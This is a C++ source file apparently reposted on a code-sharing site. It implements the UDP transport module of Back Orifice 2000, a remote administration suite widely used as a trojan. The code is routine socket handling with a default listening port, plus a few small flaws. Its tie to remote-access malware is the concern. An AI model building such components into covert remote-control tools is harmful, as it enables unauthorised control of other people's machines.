io_simpleudp.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:12k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<winsock.h>
  17. #include<iohandler.h>
  18. #include<io_simpleudp.h>
  19. #include<config.h>
  20. #include<strhandle.h>
  21. static IO_HANDLER g_SimpleIOH;
  22. #pragma pack(push,1)
  23. #define MAX_UDP_CHILDREN 32
  24. typedef struct __udpsocket {
  25. SOCKET s;
  26. SOCKADDR_IN rmt;
  27. DWORD dwState;
  28. DWORD dwTime;
  29. char svConnectAddr[256];
  30. struct __udpsocket *pParent;
  31. struct __udpsocket **pChildSockets;
  32. } UDPSOCKET;
  33. #define UDP_TIMEOUT 120000
  34. #define US_CONNECTED 1
  35. #define US_LISTEN 2
  36. typedef struct {
  37. DWORD dwFlags;
  38. } UDPHDR;
  39. #define UF_RST 1
  40. #pragma pack(pop)
  41. static char g_svUDPIOConfig[]="<**CFG**>UDPIO"
  42.                        "N[0,65535]:Default Port=54321";
  43. // Proper linkage type
  44. IO_HANDLER *GetSimpleUdpIOHandler(void);
  45. int _cdecl UDPIO_Insert(void)
  46. {
  47. // Initialize Winsock 1.1
  48. WSADATA wsaData;
  49. if(WSAStartup(MAKEWORD(1,1), &wsaData)!=0) return -1;
  50. if(LOBYTE(wsaData.wVersion)!=1 || HIBYTE(wsaData.wVersion)!=1) {
  51. WSACleanup();
  52. return -1;
  53. }
  54. return 0;
  55. }
  56. int _cdecl UDPIO_Remove(void)
  57. {
  58. // Clean up Winsock 1.1
  59. WSACleanup();
  60. return 0;
  61. }
  62. void * _cdecl UDPIO_Listen(char *svTarget)
  63. {
  64. UDPSOCKET *udps;
  65. // Get listen port
  66. struct in_addr bindAddr;
  67. bindAddr.S_un.S_addr=INADDR_ANY;
  68. int nPort=0;
  69. if(svTarget==NULL) nPort=GetCfgNum(g_svUDPIOConfig,"Default Port");
  70. else if(lstrcmpi(svTarget,"RANDOM")!=0) {
  71. char svAdr[260],*svPort;
  72. lstrcpyn(svAdr,svTarget,260);
  73. svPort=BreakString(svAdr,":");
  74. if(svPort==NULL) {
  75. nPort=atoi(svAdr);
  76. } else {
  77. bindAddr.S_un.S_addr=inet_addr(svAdr);
  78. nPort=atoi(svPort);
  79. }
  80. }
  81. // Create listener socket
  82. SOCKET s;
  83. s=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
  84. if(s==INVALID_SOCKET) return NULL;
  85. // Bind socket
  86. SOCKADDR_IN saddr;
  87. memset(&saddr,0,sizeof(SOCKADDR_IN));
  88. saddr.sin_addr.S_un.S_addr=INADDR_ANY;
  89. saddr.sin_family=AF_INET;
  90. saddr.sin_port=htons((WORD)nPort);
  91. if(bind(s,(SOCKADDR *) &saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {
  92. closesocket(s);
  93. return NULL;
  94. }
  95. int namelen=sizeof(SOCKADDR_IN);
  96. getsockname(s,(SOCKADDR *)&saddr,&namelen);
  97. // Allocate state structure
  98. udps=(UDPSOCKET *)malloc(sizeof(UDPSOCKET));
  99. if(udps==NULL) {
  100. closesocket(s);
  101. return NULL;
  102. }
  103. // Fill in state structure
  104. udps->s=s;
  105. memset(&(udps->rmt),0,sizeof(SOCKADDR_IN));
  106. udps->dwState=US_LISTEN;
  107. udps->dwTime=0; // No timeout on listening sockets
  108. udps->pParent=NULL;
  109. udps->pChildSockets=(UDPSOCKET **)malloc(MAX_UDP_CHILDREN * sizeof(UDPSOCKET *));
  110. if(udps->pChildSockets==NULL) {
  111. free(udps);
  112. closesocket(s);
  113. return NULL;
  114. }
  115. int i;
  116. for(i=0;i<MAX_UDP_CHILDREN;i++) {
  117. udps->pChildSockets[i]=NULL;
  118. }
  119. // Fill in connect address
  120. if(bindAddr.S_un.S_addr==INADDR_ANY) {
  121. char svHostName[256];
  122. struct hostent *he;
  123. struct in_addr *pAddr;
  124. gethostname(svHostName,256);
  125. he=gethostbyname(svHostName);
  126. pAddr=(struct in_addr *)he->h_addr_list[0];
  127. if(he) {
  128. wsprintf(udps->svConnectAddr,"%u.%u.%u.%u:%u",pAddr->S_un.S_un_b.s_b1,pAddr->S_un.S_un_b.s_b2,pAddr->S_un.S_un_b.s_b3,pAddr->S_un.S_un_b.s_b4,ntohs(saddr.sin_port));
  129. } else {
  130. lstrcpyn(udps->svConnectAddr,"No Connect Addr",256);
  131. }
  132. } else {
  133. lstrcpyn(udps->svConnectAddr,svTarget,256);
  134. }
  135. return udps;
  136. }
  137. void * _cdecl UDPIO_Accept(void *data, char *svAddr, int nMaxLen)
  138. {
  139. // Check to see if this is a listening socket
  140. UDPSOCKET *udps=(UDPSOCKET *)data;
  141. if(udps->dwState!=US_LISTEN) return NULL;
  142. // Check for incoming data
  143. DWORD len; 
  144. if(ioctlsocket(udps->s,FIONREAD,&len)<0) return NULL;
  145. if(len>0) {
  146. // Allocate memory for packet
  147. SOCKADDR_IN sai_from;
  148. int fromlen=sizeof(SOCKADDR_IN);
  149. BYTE *buf=(BYTE *)malloc(len);
  150. if(buf==NULL) return NULL;
  151. // Peek the message
  152. len=recvfrom(udps->s,(char *)buf,len,MSG_PEEK,(SOCKADDR *)&sai_from,&fromlen);
  153. if(len<0) {
  154. free(buf);
  155. return NULL;
  156. }
  157. // Check to see if this is a new connection
  158. int i;
  159. for(i=0;i<MAX_UDP_CHILDREN; i++) {
  160. if(udps->pChildSockets[i]) {
  161. if(memcmp(&(udps->pChildSockets[i]->rmt),&sai_from,sizeof(SOCKADDR_IN))==0) {
  162. // Woops, it's for another child socket
  163. free(buf);
  164. return NULL;
  165. }
  166. }
  167. }
  168. // Check to make sure it isn't a 'close' message
  169. if( (((UDPHDR *)buf)->dwFlags & UF_RST)==UF_RST ) {
  170. // If so, it isn't for a child connection, so we throw it away.
  171. len=recvfrom(udps->s,(char *)buf,len,0,(SOCKADDR *)&sai_from,&fromlen);
  172. free(buf);
  173. return NULL;
  174. }
  175. free(buf);
  176. // Find connections table slot
  177. int nTimeout=-1;
  178. DWORD dwTimeDiff,dwLastTimeDiff=0;
  179. for(i=0;i<MAX_UDP_CHILDREN;i++) {
  180. if(udps->pChildSockets[i]==NULL) break;
  181. dwTimeDiff=(GetTickCount()-udps->pChildSockets[i]->dwTime);
  182. if(dwTimeDiff>dwLastTimeDiff) {
  183. nTimeout=i;
  184. dwLastTimeDiff=dwTimeDiff;
  185. }
  186. }
  187. // Clean out connections table if things are full
  188. if(i==MAX_UDP_CHILDREN) {
  189. if(dwLastTimeDiff>=UDP_TIMEOUT) {
  190. UDPSOCKET *pios=udps->pChildSockets[nTimeout];
  191. udps->pChildSockets[nTimeout]=NULL;
  192. closesocket(pios->s);
  193. pios->dwState=0;
  194. i=nTimeout;
  195. } else {
  196. // Reject accept if things don't work
  197. return NULL;
  198. }
  199. }
  200. // Create accepted socket
  201. UDPSOCKET *acc_ios;
  202. acc_ios=(UDPSOCKET *)malloc(sizeof(UDPSOCKET));
  203. if(acc_ios==NULL) return NULL;
  204. // Add to connections table
  205. udps->pChildSockets[i]=acc_ios;
  206. // Fill in accepted socket
  207. DuplicateHandle(GetCurrentProcess(),(HANDLE)(udps->s),GetCurrentProcess(),(HANDLE *)&(acc_ios->s),0,FALSE,DUPLICATE_SAME_ACCESS);
  208. acc_ios->rmt=sai_from;
  209. acc_ios->dwState=US_CONNECTED;
  210. acc_ios->dwTime=GetTickCount();
  211. acc_ios->pParent=udps;
  212. acc_ios->pChildSockets=NULL; // No child sockets for accepted sockets
  213. if(nMaxLen>16) {
  214. wsprintf(svAddr,"%3u.%3u.%3u.%3u",
  215. sai_from.sin_addr.S_un.S_un_b.s_b1,
  216. sai_from.sin_addr.S_un.S_un_b.s_b2,
  217. sai_from.sin_addr.S_un.S_un_b.s_b3,
  218. sai_from.sin_addr.S_un.S_un_b.s_b4);
  219. }
  220. return acc_ios;
  221. }
  222. return NULL;
  223. }
  224. void * _cdecl UDPIO_Connect(char *svTarget)
  225. {
  226. // Create socket
  227. SOCKET s;
  228. s=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
  229. if(s==INVALID_SOCKET) return NULL;
  230. // Get target port
  231. int nPort;
  232. char svHost[256],*ptr;
  233. lstrcpyn(svHost,svTarget,256);
  234. for(ptr=svHost;((*ptr)!=':') && ((*ptr)!=NULL);ptr++);
  235. if((*ptr)==':') {
  236. *ptr='';
  237. ptr++;
  238. nPort=atoi(ptr);
  239. }
  240. else nPort=GetCfgNum(g_svUDPIOConfig,"Default Port");
  241. // Resolve hostname
  242. DWORD addr;
  243. if((addr=inet_addr(svHost))==INADDR_NONE) {
  244. struct hostent *he=gethostbyname(svHost);
  245. if(he==NULL) {
  246. closesocket(s);
  247. return NULL;
  248. }
  249. addr=*(DWORD *)(he->h_addr_list[0]);
  250. }
  251. // Create socket address
  252. SOCKADDR_IN saddr;
  253. memset(&saddr,0,sizeof(SOCKADDR_IN));
  254. saddr.sin_addr.S_un.S_addr=addr;
  255. saddr.sin_family=AF_INET;
  256. saddr.sin_port=htons((WORD)nPort);
  257. // Allocate internal state structure
  258. UDPSOCKET *udps=(UDPSOCKET *)malloc(sizeof(UDPSOCKET));
  259. if(udps==NULL) {
  260. closesocket(s);
  261. return NULL;
  262. }
  263. // Always 'connected' since there is no handshake
  264. udps->s=s;
  265. udps->rmt=saddr;
  266. udps->dwState=US_CONNECTED;
  267. udps->dwTime=GetTickCount();
  268. udps->pParent=NULL;
  269. udps->pChildSockets=NULL; // No child sockets for source socket
  270. return udps;
  271. }
  272. int _cdecl UDPIO_Close(void *ios)
  273. {
  274. int i;
  275. UDPSOCKET *udps=(UDPSOCKET *)ios;
  276. if(udps==NULL) return -1;
  277. if((udps->dwState & US_CONNECTED) || (udps->dwState & US_LISTEN)) {
  278. if(udps->dwState & US_CONNECTED) {
  279. // Send close packet (don't care if it makes it over though)
  280. UDPHDR hdr;
  281. hdr.dwFlags=UF_RST;
  282. sendto(udps->s,(char *)&hdr,sizeof(UDPHDR),0,(SOCKADDR *)&(udps->rmt),sizeof(SOCKADDR_IN));
  283. if(udps->pParent!=NULL) {
  284. for(i=0;i<MAX_UDP_CHILDREN;i++) {
  285. if(udps->pParent->pChildSockets[i]==udps) {
  286. udps->pParent->pChildSockets[i]=NULL;
  287. }
  288. }
  289. }
  290. }
  291. if(udps->dwState & US_LISTEN) {
  292. for(i=0;i<MAX_UDP_CHILDREN;i++) {
  293. if(udps->pChildSockets[i]!=NULL) {
  294. udps->pChildSockets[i]->pParent=NULL;
  295. }
  296. }
  297. free(udps->pChildSockets);
  298. }
  299. closesocket(udps->s);
  300. }
  301. free(udps);
  302. return 0;
  303. }
  304. char * _cdecl UDPIO_Query(void)
  305. {
  306. return "UDPIO: Back Orifice UDP IO Module v1.0";
  307. }
  308. int _cdecl UDPIO_Recv(void *data, BYTE **pInData, int *pnInDataLen)
  309. {
  310. UDPSOCKET *udps=(UDPSOCKET *)data;
  311. // Ensure socket is connected
  312. if(udps->dwState!=US_CONNECTED) return -1;
  313. // Check for incoming data
  314. DWORD len;
  315. ioctlsocket(udps->s,FIONREAD,&len);
  316. if(len>=sizeof(UDPHDR)) {
  317. // Allocate buffer for data
  318. BYTE *buf=(BYTE *)malloc(len);
  319. if(buf==NULL) {
  320. *pInData=NULL;
  321. *pnInDataLen=0;
  322. return -1;
  323. }
  324. // Peek at data
  325. SOCKADDR_IN sai_from;
  326. int fromlen=sizeof(SOCKADDR_IN);
  327. DWORD lenret;
  328. lenret=recvfrom(udps->s,(char *)buf,len,MSG_PEEK,(struct sockaddr *)&sai_from,&fromlen);
  329. if(lenret<len) {
  330. free(buf);
  331. *pInData=NULL;
  332. *pnInDataLen=0;
  333. return -1;
  334. }
  335. // Ensure that it's for this socket
  336. if(memcmp(&(udps->rmt),&sai_from,sizeof(SOCKADDR_IN))!=0) {
  337. free(buf);
  338. *pInData=NULL;
  339. *pnInDataLen=0;
  340. return 0;
  341. }
  342. // Get real packet
  343. fromlen=sizeof(SOCKADDR_IN);
  344. lenret=recvfrom(udps->s,(char *)buf,len,0,(struct sockaddr *)&sai_from,&fromlen);
  345. if(lenret<len) {
  346. free(buf);
  347. *pInData=NULL;
  348. *pnInDataLen=0;
  349. return -1;
  350. }
  351. // Check for connection reset
  352. if(((UDPHDR *)buf)->dwFlags & UF_RST) {
  353. free(buf);
  354. *pInData=NULL;
  355. *pnInDataLen=0;
  356. return -1;
  357. }
  358. // Pass data back to application
  359. *pInData=(buf+sizeof(UDPHDR));
  360. *pnInDataLen=(len-sizeof(UDPHDR));
  361. return 1;
  362. }
  363. *pInData=NULL;
  364. *pnInDataLen=0;
  365. return 0;
  366. }
  367. int _cdecl UDPIO_Send(void *data, BYTE *pData, int nDataLen)
  368. {
  369. UDPSOCKET *udps=(UDPSOCKET *)data;
  370. // Ensure socket is connected
  371. if(udps->dwState!=US_CONNECTED) return -1;
  372. // Allocate buffer for header and data
  373. BYTE *buf=(BYTE *)malloc(nDataLen+sizeof(UDPHDR));
  374. if(buf==NULL) return -1;
  375. // Create packet
  376. ((UDPHDR *)buf)->dwFlags=0;
  377. memcpy(buf+sizeof(UDPHDR),pData,nDataLen);
  378. // Send packet
  379. int lenret;
  380. lenret=sendto(udps->s,(char *)buf,nDataLen+sizeof(UDPHDR),0,(SOCKADDR *)&(udps->rmt),sizeof(SOCKADDR_IN));
  381. free(buf);
  382. if(lenret==SOCKET_ERROR) 
  383. return -1;
  384. if(lenret<nDataLen) 
  385. return 0;
  386. return 1;
  387. }
  388. void _cdecl UDPIO_Free(void *data, BYTE *pBuffer)
  389. {
  390. if(pBuffer==NULL) return;
  391. free(pBuffer-sizeof(UDPHDR));
  392. }
  393. int _cdecl UDPIO_GetConnectAddr(void *data, char *svAddr, int nMaxLen)
  394. {
  395. UDPSOCKET *udps=(UDPSOCKET *)data;
  396. if(nMaxLen>256) nMaxLen=256;
  397. if(nMaxLen<0) return -1;
  398. lstrcpyn(svAddr,udps->svConnectAddr,nMaxLen);
  399. return 0;
  400. }
  401. IO_HANDLER *GetSimpleUdpIOHandler(void)
  402. {
  403. g_SimpleIOH.pClose=UDPIO_Close;
  404. g_SimpleIOH.pConnect=UDPIO_Connect;
  405. g_SimpleIOH.pFree=UDPIO_Free;
  406. g_SimpleIOH.pListen=UDPIO_Listen;
  407. g_SimpleIOH.pAccept=UDPIO_Accept;
  408. g_SimpleIOH.pQuery=UDPIO_Query;
  409. g_SimpleIOH.pRecv=UDPIO_Recv;
  410. g_SimpleIOH.pInsert=UDPIO_Insert;
  411. g_SimpleIOH.pRemove=UDPIO_Remove;
  412. g_SimpleIOH.pSend=UDPIO_Send;
  413. g_SimpleIOH.pGetConnectAddr=UDPIO_GetConnectAddr;
  414. return &g_SimpleIOH;
  415. }